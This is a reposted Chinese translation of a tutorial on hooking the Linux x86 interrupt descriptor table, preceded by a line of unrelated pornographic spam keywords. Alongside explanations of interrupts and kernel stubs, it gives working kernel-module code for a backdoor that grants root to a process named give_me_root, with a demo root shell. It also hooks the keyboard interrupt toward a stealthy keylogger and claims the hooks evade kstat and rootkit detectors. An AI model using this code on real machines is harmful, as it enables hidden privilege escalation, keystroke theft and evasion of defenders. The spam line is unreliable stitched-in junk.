久久精品国产精品国产精品污,男人扒开添女人下部免费视频,一级国产69式性姿势免费视频,夜鲁夜鲁很鲁在线视频 视频,欧美丰满少妇一区二区三区,国产偷国产偷亚洲高清人乐享,中文 在线 日韩 亚洲 欧美,熟妇人妻无乱码中文字幕真矢织江,一区二区三区人妻制服国产

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux HOOK

發(fā)布時間:2025/3/17 linux 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux HOOK 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

0 - 前言
1 - 緒論
2 - 介紹
2.1 - 什么是中斷(interrupt)?
2.2 - 中斷和異常(exception)
2.3 - 中斷向量
2.4 - 什么是IDT?
3 - 異常
3.1 - 異常列表
3.2 - 當(dāng)異常出現(xiàn)時會發(fā)生什么 ?
3.3 - 中斷鉤子(Hooking) by mammon
3.4 - 一般中斷鉤子
3.5 - profit鉤子 : 我們第一個后門
3.6 - fun鉤子
4 - 硬件中斷
4.1 - 它是如何工作的 ?
4.2 - 初始化和半底(bottom half)激活過程
4.3 - 鍵盤中斷鉤子
5 - 為系統(tǒng)調(diào)用安排的異常
5.1 - 系統(tǒng)調(diào)用列表
5.2 - 系統(tǒng)調(diào)用是如何工作的 ?
5.3 - profit鉤子
5.3.1 - sys_setuid鉤子
5.3.2 - sys_write鉤子
5.4 - fun鉤子
6 - CheckIDT
7 - 參考 & 致謝
8 - 附錄
前言:
看到這片文章就讓我想到LSD在5th Argus Hacking Challenge上的精彩表演。
只不過當(dāng)時玩的是系統(tǒng)LDT漏洞,現(xiàn)在玩的是系統(tǒng)IDT后門。翻譯不妥的地方還請斧正,如果您
的英文比較好的話,還是看原文吧。
--[ 1 - 緒論
眾所周知,Intel x86 CPU能夠運行在兩種模式下:一種是實模式,一種是保護模式。
實模式我們就不討論了,現(xiàn)在所有的操作系統(tǒng)都使用的是保護模式來使內(nèi)核和一般進程隔離。
保護模式提供4個不同的權(quán)限等級(ring0...ring3)。用戶應(yīng)用程序在ring3,系統(tǒng)內(nèi)核運行
在ring0.這使內(nèi)核獲得了訪問所有CPU寄存器和硬件內(nèi)存的權(quán)力。
在文中,我們將演示如何在Linux/x86上修改IDT。再進一步,我們將演示如何使用
一些技術(shù)重定向系統(tǒng)調(diào)用(象LKM做到的那樣)。
本文中的例子只來說明使用LKM把可執(zhí)行代碼裝載到內(nèi)核空間是件容易的事情。其他超出
本文討論范圍的技術(shù)也可以用來把可執(zhí)行代碼裝載到內(nèi)核空間或者用來隱藏內(nèi)核模塊(就象
Spacewalker的方法一樣)。
CheckIDT是個有用的工具,它檢查IDT并且每5分鐘避免內(nèi)核panic一次。
--[ 2 - 介紹
----[ 2.1 - 什么是中斷(interrupt)?
"中斷被定義為當(dāng)一個事件發(fā)生時,改變處理器的指令序列。這樣的事件可由CPU芯片
內(nèi)部或者外部硬件產(chǎn)生電信號產(chǎn)生"
(摘自: "Understanding the Linux kernel," O'Reilly publishing.)
----[ 2.2 - 中斷和異常(exception)
Intel參考手冊上指出“同步中斷”(在一個指令執(zhí)行完成后,由CPU控制單元產(chǎn)生的)作為“異常”。
異步中斷(可能會在任意時刻由其他硬件產(chǎn)生的)才稱為“中斷”。中斷被外部的I/O設(shè)備產(chǎn)生。
但是異常是由編程錯誤或者是由反常情況(必須由內(nèi)核來處理)觸發(fā)的。在該文檔中,
術(shù)語“中斷信號”既指異常又指中斷。
中斷分為兩種類型:可屏蔽中斷--它在短時間片段里可被忽略;不可屏蔽中斷--它必須被立即處理。
不可屏蔽中斷是由緊急事件產(chǎn)生例如硬件失敗。著名的IRQS(中斷請求)失敗劃為可屏蔽中斷。
異常被分為不同的兩類:處理器產(chǎn)生的異常(Faults, Traps, Aborts)和編程安排的
異常(用匯編指令int or int3 觸發(fā))。后一種就是我們經(jīng)常說到的軟中斷。
----[ 2.3 - 中斷向量
每個中斷或者異常用一個0-255的數(shù)字識別。Intel稱這個數(shù)字為向量(vector).這些
數(shù)字如下分類:
- From 0 to 31 : 異常和不可屏蔽中斷
- From 32 to 47 : 可屏蔽中斷
- From 48 to 255 : 軟中斷
Linux只使用一個軟中斷(0x80)作為調(diào)用系統(tǒng)內(nèi)核函數(shù)的系統(tǒng)調(diào)用接口。
硬件IRQs從IRQ0...IRQ15分別被關(guān)聯(lián)到了中斷向量32..47。
----[ 2.4 - 什么是IDT?
IDT = Interrupt Descriptor Table 中斷描述表
IDT是一個有256個入口的線形表,每個中斷向量關(guān)聯(lián)了一個中斷處理過程。
每個IDT的入口是個8字節(jié)的描述符,所以整個IDT表的大小為256*8=2048 bytes
IDT有三種不同的描述符或者說是入口:
- 任務(wù)門描述符 Task Gate Descriptor
Linux 沒有使用該類型描述符
- 中斷門描述符 Interrupt Gate Descriptor
63 48|47 40|39 32
+------------------------------------------------------------
| | |D|D| | | | | | | | |
| HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED
| | |L|L| | | | | | | | |
=============================================================
| |
SEGMENT SELECTOR | HANDLER OFFSET (0-15) |
| |
------------------------------------------------------------+
31 16|15 0
- bits 0 to 15 : handler offset low
- bits 16 to 31 : segment selector
- bits 32 to 37 : reserved
- bits 37 to 39 : 0
- bits 40 to 47 : flags/type
- bits 48 to 63 : handler offset high
- 陷阱門描述符 Trap Gate Descriptor
同上,只是flag不同
flag 組成如下 :
- 5 bits for the type
interrupt gate : 1 1 1 1 0
trap gate : 0 1 1 1 0
- 2 bits for DPL
DPL = descriptor privilege level
- 1 bit reserved
Offset low和offset high組成了處理中斷函數(shù)的地址。當(dāng)中斷發(fā)生時會直接跳到該
地址運行。本文的目標(biāo)是改變那些地址并且讓我們自己的中斷處理函數(shù)執(zhí)行
DPL=Descriptor Privilege Level
DPL等于0或者是3. 0是特權(quán)等級(內(nèi)核模式). 當(dāng)前的執(zhí)行等級被保存在CPL寄存器中
(Current Privilege Level). 控制單元UC (Unit Of Control) 比較CPL中的值和IDT中斷
描述符中的DPL字段。假如DPL值大于(較小權(quán)限)或者等于CPL值,那么中斷處理過程被執(zhí)行。
用戶應(yīng)用程序在ring3(CPL==3)中執(zhí)行。某些中斷在用戶態(tài)是不能夠被調(diào)用的。
IDT被BIOS程序首先初始化,但是當(dāng)Linux得到控制權(quán)后,Linux自己又重新設(shè)置了IDT。
匯編指令lidt提供了初始化idtr寄存器---它包含了IDT的大小和IDT的地址。
然后setup_idt函數(shù)填充了256個IDT入口--使用了同樣的中斷門(ignore_int)。然后按照需要,
安裝正確的中斷門。
linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
在idt寄存器指向的地址n位置插入一個中斷門。'addr'中存放中斷處理地址。
linux/arch/i386/kernel/irq.c
所有可屏蔽中斷和軟中斷被set_intr_gate初始化:
set_intr_gate :
#define FIRST_EXTERNAL_VECTOR 0x20
for (i = 0; i trap_gate
[root@redhat73 root]# grep c0108abc /boot/System.map
c0108abc T overflow
overflow -> system_gate
[root@redhat73 root]# grep c0100200 /boot/System.map
c0100200 t ignore_int
18到31 Intel保留
[root@redhat73 root]# grep c021e2ac /boot/System.map
c021e2ac r IRQ0x00_interrupt
device keyboard ->intr_gate
[root@redhat73 root]# grep c01088f0 /boot/System.map
c01088f0 T system_call
system call -> system_gate
注: checkIDT有個選項解析標(biāo)號
--[ 3 - 異常
----[ 3.1 - 異常列表
--------------------------------------------------------------------------+
number | Exception | Exception Handler |
--------------------------------------------------------------------------+
0 | Divide Error | divide_error() |
1 | Debug | debug() |
2 | Nonmaskable Interrupt | nmi() |
3 | Break Point | int3() |
4 | Overflow | overflow() |
5 | Boundary verification | bounds() |
6 | Invalid operation code | invalid_op() |
7 | Device not available | device_not_available() |
8 | Double Fault | double_fault() |
9 | Coprocessor segment overrun | coprocesseur_segment_overrun() |
10 | TSS not valid | invalid_tss() |
11 | Segment not present | segment_no_present() |
12 | stack exception | stack_segment() |
13 | General Protection | general_protection() |
14 | Page Fault | page_fault() |
15 | Reserved by Intel | none |
16 | Calcul Error with float virgul| coprocessor_error() |
17 | Alignement check | alignement_check() |
18 | Machine Check | machine_check() |
--------------------------------------------------------------------------+
異常被分為兩類:
- 處理器偵測的異常(DPL為0)
- 軟中斷(aka programmed exceptions) (DPL為3).
后者我們可在用戶態(tài)調(diào)用。
----[ 3.2 - 當(dāng)異常出現(xiàn)時會發(fā)生什么 ?
當(dāng)一個中斷發(fā)生,當(dāng)前中斷的中斷處理函數(shù)被執(zhí)行。該處理函數(shù)不是真正的處理異常函數(shù),
它僅僅做個跳轉(zhuǎn),跳轉(zhuǎn)到更好的處理函數(shù)。
異常 -----> 中間處理函數(shù) -----> 真正的處理異常函數(shù)
entry.S 定義了所有的中間處理函數(shù),也稱為通用處理函數(shù)或者是stub.
中間處理函數(shù)用asm寫的,后面真正的處理函數(shù)是用C寫的。
讓我們看看entry.S :
entry.S :
---------
**************************************************
ENTRY(nmi)
pushl $0
pushl $ SYMBOL_NAME(do_nmi)
jmp error_code
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
ENTRY(overflow)
pushl $0
pushl $ SYMBOL_NAME(do_overflow)
jmp error_code
ENTRY(divide_error)
pushl $0 # no error value/code
pushl $ SYMBOL_NAME(do_divide_error)
ALIGN
error_code:
pushl %ds
pushl %eax
xorl %eax,%eax
pushl %ebp
pushl %edi
pushl %esi
pushl %edx //保存寄存器值
decl %eax # eax = -1//設(shè)置eax為 -1.
pushl %ecx
pushl %ebx
cld
movl %es,%cx
movl ORIG_EAX(%esp), %esi # get the error value
movl ES(%esp), %edi # get the function address
//拷貝硬件錯誤值($esp + 36)和處理函數(shù)地址($esp + 32)分別到esi和edi中。
movl %eax, ORIG_EAX(%esp)
movl %ecx, ES(%esp) //把eax(現(xiàn)在為-1)拷貝到錯誤代碼的位置, 把es拷貝到$esp+32的堆棧中。
movl %esp,%edx //保存stack頂?shù)牡刂返絜dx中,然后把error_code值和edx放到stack中。
pushl %esi # push the error code
pushl %edx # push the pt_regs pointer
movl $(__KERNEL_DS),%edx
movl %dx,%ds
movl %dx,%es //把內(nèi)核數(shù)據(jù)段選擇子放到ds和es寄存器中
GET_CURRENT(%ebx) //把當(dāng)前進程描述結(jié)構(gòu)的地址放到ebx中
call *%edi
addl $8,%esp
jmp ret_from_exception
**********************************************
解釋下上面的代碼:
所有的處理函數(shù)有同樣的結(jié)構(gòu)(只有system_call和device_not_available是不同的):
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
Pushl $0 僅僅在某些異常中使用. 假設(shè)控制單元把異常的硬件錯誤值放到堆棧中。
有些異常不產(chǎn)生錯誤值所以用0代替。 最后一行跳轉(zhuǎn)到error_code
(細節(jié)看linux/arch/i386/kernel/entry.S).
錯誤值在異常中使用,是個asm的宏。
讓我們再繼續(xù)
異常 -----> 中間處理函數(shù) ---> error_code宏 -----> 真正的處理異常函數(shù)
匯編代碼error_code執(zhí)行片段:
1: 保存寄存器值
2: 設(shè)置eax為 -1.
3: 拷貝硬件錯誤值($esp + 36)和處理函數(shù)地址($esp + 32)分別到esi和edi中。
movl ORIG_EAX(%esp), %esi
movl ES(%esp), %edi
4: 把eax(現(xiàn)在為-1)拷貝到錯誤代碼的位置, 把es拷貝到$esp+32的堆棧中。
5: 保存stack頂?shù)牡刂返絜dx中,然后把error_code值和edx放到stack中。
6: 把內(nèi)核數(shù)據(jù)段選擇子放到ds和es寄存器中
7: 把當(dāng)前進程描述結(jié)構(gòu)的地址放到ebx中
8: 這些參數(shù)放在stack中(例如硬件異常值,地址,還用戶模式進程的保存的寄存器值),將被C語言
的函數(shù)使用
9: 調(diào)用異常處理函數(shù)(函數(shù)地址放在edi中).
10: 最后兩個指令是為了異常的返回準(zhǔn)備的
error_code將跳到適當(dāng)?shù)漠惓L幚砗瘮?shù)中。(具體細節(jié)看traps.c)
那些真正的異常處理函數(shù)是用C寫的。
讓我們拿一個異常處理函數(shù)作為一個具體的例子。比如不可屏蔽的nmi中斷處理函數(shù)。
注: 摘自traps.c
**************************************************************
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
{
unsigned char reason = inb(0x61);
extern atomic_t nmi_counter;
....
**************************************************************
asmlinkage是個宏,使用它是為了保持參數(shù)在stack中。因為從匯編語言到C語言代碼參數(shù)
的傳遞是通過stack的,它也可能從stack中得到一些不需要的參數(shù)。Asmlinkage將要
解析那些參數(shù)。
函數(shù)do_nmi得到pt_regs類型和error_code參數(shù)
pt_regs 在 /usr/include/asm/ptrace.h定義:
struct pt_regs {
long ebx;
long ecx;
long edx;
long esi;
long edi;
long ebp;
long eax;
int xds;
int xes;
long orig_eax;
long eip;
int xcs;
long eflags;
long esp;
int xss;
};
寄存器的一部分 被error_code代碼已經(jīng)放到了stack中,其他的寄存器被UC在硬件等級下也
放到了stack中了。
該處理函數(shù)將處理異常并且會發(fā)一個信號到進程。
----[ 3.3 - 中斷鉤子(Hooking) by mammon
Mammon寫了一篇關(guān)于在linux如何hook中斷的文章。上面講到的技術(shù)和本文差不多。但本文
使用一種更通用更一般的方法來處理中斷。
讓我們拿int3看,這是個斷點(breakpoint)中斷。該handler/stub定義如下:
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
硬件錯誤值0和C函數(shù)處理地址被推到了stack中。接下來匯編代碼error_code被執(zhí)行。
我們重寫了asm的處理函數(shù),把我們自己的異常處理地址推到stack中來替代原來的處理函數(shù)(do_int3).
例如:
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
我們自己的asm處理函數(shù)看上去和原來的差不多。
- 我們在函數(shù)中使用匯編代碼使link更容易
- .globl my_stub, 假如我們這樣定義:in global : extern asmlinkage void my_stub();
這樣就允許我們調(diào)用my_stub代碼。
- align 4,0x90, 4字節(jié)對齊。在Intel處理器上是4字節(jié)對齊的。
- push ptr_handler(,1) , 符合gas語法風(fēng)格
更多的關(guān)于inline匯編請參考 [1].
我們push我們自己的處理函數(shù)地址,跳到error_code代碼。
ptr_handler是我們C處理函數(shù)地址:
unsigned long ptr_handler=(unsigned long)&my_handler;
C 處理函數(shù):
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *)
old_handler;
printk("Wowowo hijacking of int 3 \n");
(*old_int_handler)(regs,err_code);
return;
}
我們需要取回兩個參數(shù),一個是寄存器指針,一個是err_code.
我們已經(jīng)看到,前面error_code代碼已經(jīng)push了這兩個參數(shù)。我們保存著老的處理函數(shù)地址。
在我們的處理函數(shù)里,我們打印出一些信息表示我們已經(jīng)hooked了中斷并且重新調(diào)用老的處理函數(shù)。
該方法是典型的hook系統(tǒng)調(diào)用的方法。
old_handler地址多少 ?
#define do_int3 0xc010977c
unsigned long old_handler=do_int3;
do_int3 地址可以從 System.map 獲得。
更清楚些 :
asm Handler
----------------
push 0
push our handler
jmp to error_code
error_code
----------
do some operation
pop our handler address
jmp to our C handler
our C Handler
--------------------
save the old handler's address
print a message
return to the real C handler
Real C Handler
-------------------
really deal with the interrupt
現(xiàn)在我們修正IDT中的描述符(offset_low and offset_high)來改變中斷處理函數(shù)的地址。
函數(shù)接受三個參數(shù):要hook的中斷號,新處理函數(shù)地址,保存著老處理函數(shù)地址的指針。
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
struct descriptor_idt:
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
一個描述符長度為64 bits
unsigned short : 16 bits (offset_low,seg_selector and offset_high)
unsigned char : 8 bits (reserved and flag)
(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet
我們感興趣的是offset_high和offset_low字段.我們需要修改它。
Hook_stub執(zhí)行步驟:
1: 拷貝我們的處理函數(shù)地址到new_addr
2: 使idt變量指向第一個IDT描述符。
get_addr_idt()得到IDT地址.
3: 使用get_stub_from_idt我們可以保存老的處理函數(shù)的地址。
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
n = 要hook的中斷號. idte是包含該中斷的中斷描述符。
返回值為是中斷處理函數(shù)的地址,(void*) (32 bits)類型。
offset_high和offset_low都是16 bits, 這兩個值組合起來就是32位的,一個完整的
中斷處理函數(shù)地址。
4 : new_addr為我們的處理函數(shù)地址,也是32位的。
我們把new_addr 16 MSB放到offset_high,16 LSB放到offset_low。
改變中斷描述符中的offset_high和offset_low字段。
在附加CODE 1中有整個代碼。
為什么這個技術(shù)不是完美的?
盡管它不是太糟糕,但是不適合其他的中斷。在這里,我們允許所有的處理函數(shù)有
如下形式:
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
事實上,假如你看一下entry.S的話,看上去他們都是如上形式。但是,也不全是,想象下,
你要hook系統(tǒng)調(diào)用,或者是device_not_aivable處理函數(shù)甚至是硬件中斷....那么我們
該如何做呢?
----[ 3.4 - 一般中斷鉤子
我們將使用不同的技術(shù)來hook函數(shù)。請記住,處理函數(shù)是用C寫的,我們使用return返回到
真正的C處理函數(shù)內(nèi)。
現(xiàn)在我們回頭asm的代碼。
簡單的處理函數(shù):
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" call *%0 \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
在這里,我們調(diào)用我們自己的C處理函數(shù),處理函數(shù)被執(zhí)行并且接下來又跳回到原來的asm的處理函數(shù)。
我們的 C 處理函數(shù) :
asmlinkage void my_function()
{
printk("Interrupt %i hijack \n",interrupt);
}
發(fā)生了什么 ?
我們用我們的匯編代碼改變了idt中某個中斷的地址。
當(dāng)某個中斷被觸發(fā)時候調(diào)用過程
stub_kad()-------->hostile_code----->old_stub----->
error_code宏 -----> 真正的處理異常函數(shù)
::"m"(hostile_code),"m"(old_stub)
我們需要懂得一些inline asm匯編指令,下面是它的風(fēng)格:
asm (
assembler instruction
: output operands
: input operands
: list of modified registers
);
我們可以使用asm或者__asm__指令。
關(guān)于一些inline的匯編指令請參考相關(guān)的資料,你也可以從這里得到一些相關(guān)資料
http://www.whitecell.org/forums/viewtopic.php?topic=989&forum=4&4
第一個有形的例子 :
bash-2.05# cat test.c
#include
int main ()
{
int a=8,b=0;
printf("A/B = %i\n",a/b);
return 0;
}
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook
bash-2.05#
很好! 我們看到了"Interrupt hijack".
在該代碼中,我們使用了MODULE_PARM,它運行在插入模塊的時候傳參數(shù)進去。更多關(guān)于
MODULE_PARM的,請參閱"linux device drivers" from o'reilly [2] (chapter 2).
這就允許我們使用同一個模塊去hook不同的選擇的中斷。
----[ 3.5 - profit鉤子 : 我們第一個后門
該后門允許我們獲得root shell. C 處理函數(shù)將會給產(chǎn)生特定中斷的進程ROOT權(quán)限。
Asm 處理函數(shù)部分
------------
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
我們把當(dāng)前進程描述(使用GET_CURRENT宏)傳遞到了C處理函數(shù)里。又跳回error_code代碼。
#define GET_CURRENT(reg) \
movl %esp, reg; \
andl $-8192, reg;
定義在entry.S.
注 : 我們也可以使用current替代
C handler :
-------------
...
unsigned long hostile_code=(unsigned long)&my_function;
...
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
p->uid=0;
p->gid=0;
}
}
我們定義了一個指針指向當(dāng)前進程描述符(current process descriptor)。比較進程名。
我們沒必要給所有產(chǎn)生這個中斷的進程于ROOT權(quán)限。假如是我們的進程,給予新的權(quán)限。
"give_me_root"都是小寫字母,它產(chǎn)生個shell。
在產(chǎn)生shell之前需要先產(chǎn)生個斷點中斷,我們才會變成root權(quán)限。
演練 :
--------------
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finish
bash-2.05#
/ in another shell //
sh-2.05$ cat give_me_root.c
#include
int main (int argc, char ** argv)
{
system("/bin/sh");
return 0;
}
sh-2.05$ gcc -o give_me_root give_me_root.c
[alert7@redhat73 alert7]$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
[alert7@redhat73 alert7]$ gdb give_me_root -q
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/alert7/give_me_root
Breakpoint 1, 0x08048406 in main ()
(gdb) c
Continuing.
sh-2.05a# id
uid=0(root) gid=0(root) groups=502(alert7)
OK,現(xiàn)在我們是ROOT了。hookstub-V0.2.c代碼在附件CODE 2
----[ 3.6 - fun鉤子
異常跟蹤器是比較感興趣的一個東西。例如我們可以hook所有的異常來打印出哪個異常是由哪個
進程觸發(fā)的。我們也能在任何時候知道誰干了什么。我們也可以打印出寄存器的值。
在arch/i386/kernel/process.c中有個函數(shù)show_regs就是完成這個功能。
void show_regs(struct pt_regs * regs)
{
long cr0 = 0L, cr2 = 0L, cr3 = 0L;
printk("\n");
printk("EIP: %04x:[]",0xffff & regs->xcs,regs->eip);
if (regs->xcs & 3)
printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
printk(" EFLAGS: %08lx\n",regs->eflags);
printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
regs->eax,regs->ebx,regs->ecx,regs->edx);
printk("ESI: %08lx EDI: %08lx EBP: %08lx",
regs->esi, regs->edi, regs->ebp);
printk(" DS: %04x ES: %04x\n",
0xffff & regs->xds,0xffff & regs->xes);
__asm__("movl %%cr0, %0": "=r" (cr0));
__asm__("movl %%cr2, %0": "=r" (cr2));
__asm__("movl %%cr3, %0": "=r" (cr3));
printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);
}
你可以在每次異常的時候調(diào)用該函數(shù)打印寄存器值。
有時,改變asm處理函數(shù)是比較危險的,所以真正的C處理函數(shù)可以不被執(zhí)行。處理器產(chǎn)生異常的
時候不會收到例如SIGSTOP或者SIGSEGV的信號。在某些情況,這會是很有用的。
--[ 4 - 硬件中斷
----[ 4.1 - 它是如何工作的 ?
我們也可以使用同樣的方法hook IRQs產(chǎn)生的中斷,但是hook它們就沒多大意義了(說不定
你有好注意哦,告訴我哈)。在這,我們將hook 中斷33鍵盤中斷。有個問題是該中斷發(fā)生好
多次。處理函數(shù)很短時間被執(zhí)行好多次,所以處理函數(shù)要快而不能阻塞了系統(tǒng)。為了避免這個,
我們將使用半底(bottom half).那些優(yōu)先權(quán)小點的半底函數(shù)大部分情況適合中斷處理。kernel
等待合適的時候調(diào)用它們。在半底執(zhí)行中,其他的中斷是不被屏蔽的。
以下情況,等待的半底將被執(zhí)行:
- kernel處理完系統(tǒng)調(diào)用syscall
- kernel處理完一個異常
- kernel處理完一個中斷
- kernel為了選擇新進程而調(diào)用schedule()函數(shù)
在處理器返回到用戶模式前,它們將會被執(zhí)行。
所以,半底是很有用的,確保一個中斷的快速處理。
下面是LINUX使用的半底
----------------+-------------------------------+
Bottom half | Peripheral equipment |
----------------+-------------------------------+
CONSOLE_BH | Virtual console |
IMMEDIATE_BH | Immediate tasks file |
KEYBOARD_BH | Keyboard |
NET_BH | Network interface |
SCSI_BH | SCSI interface |
TIMER_BH | Clock |
TQUEUE_BH | Periodic tasks queue |
... | |
----------------+-------------------------------+
呵呵,好象跑題了,研究半底不是本文的目的。具體關(guān)于這個題目的文章請看
http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]
IRQ 列表
--------
警告 ! : 為同樣的IRQs來說中斷號不總是相同的!
----+---------------+----------------------------------------
IRQ | Interrupt | Peripheral equipment
----+---------------+----------------------------------------
0 | 32 | Timer
1 | 33 | Keyboard
2 | 34 | PIC cascade
3 | 35 | Second serial port
4 | 36 | First serial port
6 | 37 | Floppy drive
8 | 40 | System clock
11 | 43 | Network interface
12 | 44 | PS/2 mouse
13 | 45 | Mathematic coprocessor
14 | 46 | First EIDE disk controller
15 | 47 | Second EIDE disk controller
----+---------------+----------------------------------------
----[ 4.2 - 初始化和半底(bottom half)激活過程
半底需要使用init_bh(n,routine)函數(shù)初始化,該函數(shù)把函數(shù)地址插入bh_base的第n個
入口(bh_base保存著半底部分的一個數(shù)組)。但它被初始化后,它才可以被激活和執(zhí)行。函數(shù)
mark_bh(n)用來激活中斷的底半部分。
所有中斷的底半部分用tq_struct類型中的元素把它們連接起來。
struct tq_struct {
struct tq_struct *next; /* linked list of active bh's */
unsigned long sync; /* must be initialized to zero */
void (*routine)(void *); /* function to call */
void *data; /* argument to function */
};
宏DELACRE_TASK_QUEUE(name,fonction,data)允許我們聲明一個tasklet,
它將被插入任務(wù)隊列(使用函數(shù)queue_task)。這里有幾個任務(wù)隊列,我們敢興趣的是
tq_immediate隊列,該隊列在半底IMMEDIATE_BH執(zhí)行(immediate隊列).
(include/linux/tqueue.h)
----[ 4.3 - 鍵盤中斷鉤子
當(dāng)我們擊一鍵時,中斷發(fā)生兩次。一次是我們push一個key的時候,一次是釋放一個鍵的時候。
以下代碼每10次中斷顯示個message,假如擊了5次鍵,那么message將出現(xiàn)。
asm處理函數(shù)同3.4,這里我們就不顯示了
Code
----
...
struct Variable
{
int entier;
char chaine[10];
};
...
static void evil_fonction(void * status)
{
struct Variable *var = (struct Variable * )status;
nb++;
if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
nb,var->entier,var->chaine);
}
...
asmlinkage void my_function()
{
static struct Variable variable;
static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
variable.entier=3;
strcpy(variable.chaine,"haha hijacked key :) ");
queue_task(&my_task,&tq_immediate);
mark_bh(IMMEDIATE_BH);
}
我們定義了一個tasklet my_task,使用我們的函數(shù)和參數(shù)初始化。因為tasklet允許我們
僅使用一個參數(shù),所以我們使用了結(jié)構(gòu)地址。這將允許我們幾個參數(shù)。我們把該tasklet加到
tq_immediate列表(使用queue_task)。最后,使用mark_bh激活底部分IMMEDIATE_BH。
mark_bh(IMMEDIATE_BH)
我們必須激活I(lǐng)MMEDIATE_BH,它處理任務(wù)隊列'tq_immediate' 。當(dāng)請求的時間觸發(fā)時候,
evil_function函數(shù)將被執(zhí)行(listed in part 4.1)
evil_function僅僅10次中斷顯示一個message.我們有效的hook了鍵盤中斷。我們可以使用該
方法寫個內(nèi)核鍵盤記錄器。這個將非常的隱蔽,因為它是在中斷級別的。在這里(我沒有用代碼實現(xiàn))
我們可以知道哪個key被擊中了。為了做這個,我們可以使用函數(shù)inb()來讀I/O端口。系統(tǒng)里有
65536個I/O端口(8 bits ports). 2個8 bits ports組成一個16 位的 ports,2個16位的ports
組成一個32位的 ports.
inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.
所以,我么能使用inb函數(shù)讀鍵盤掃描碼scancode和鍵盤狀態(tài)status(壓下,釋放鍵盤)。
不幸的是,我不敢確定要讀的端口。掃描碼的端口可能是0x60,狀態(tài)端口可能是0x64吧.
scancode=inb(0x60);
status=inb(0x64);
scancode值和鍵擊的key有著一個轉(zhuǎn)換關(guān)系,作者不能確定到底是如何轉(zhuǎn)換的。
假如有人知道或者有人想發(fā)展這個的話,請聯(lián)系作者
--[ 5 - 為系統(tǒng)調(diào)用安排的異常
----[ 5.1 - 系統(tǒng)調(diào)用列表
你可以在下列rul中找到一個所有的系統(tǒng)調(diào)用的列表 :
http://www.lxhp.in-berlin.de/lhpsysc0.html [3].
注 : 小心,在2.2.* 和 2.4.* kernels之間系統(tǒng)調(diào)用號是不一樣的。
----[ 5.2 - 系統(tǒng)調(diào)用是如何工作的 ?
在這里,我們也hook了syscalls.當(dāng)系統(tǒng)調(diào)用被調(diào)用時,所有的參數(shù)都是在寄存器中。
eax : number of the called syscall
ebx : first param
ecx : second param
edx : third param
esi : fourth param
edi : fifth param
假如參數(shù)超過5的話(象mmap系統(tǒng)調(diào)用有6個參數(shù)),簡單的寄存器用來指向內(nèi)存區(qū),該區(qū)包含了
那些參數(shù)。
我們得到那些變量就象前面structure pt_regs一樣. 我們在IDT等級hook系統(tǒng)調(diào)用,而
不是hook syscall_table. kstat和其他所有當(dāng)前可用的LKM偵測工具都將失敗。
----[ 5.3 - profit鉤子
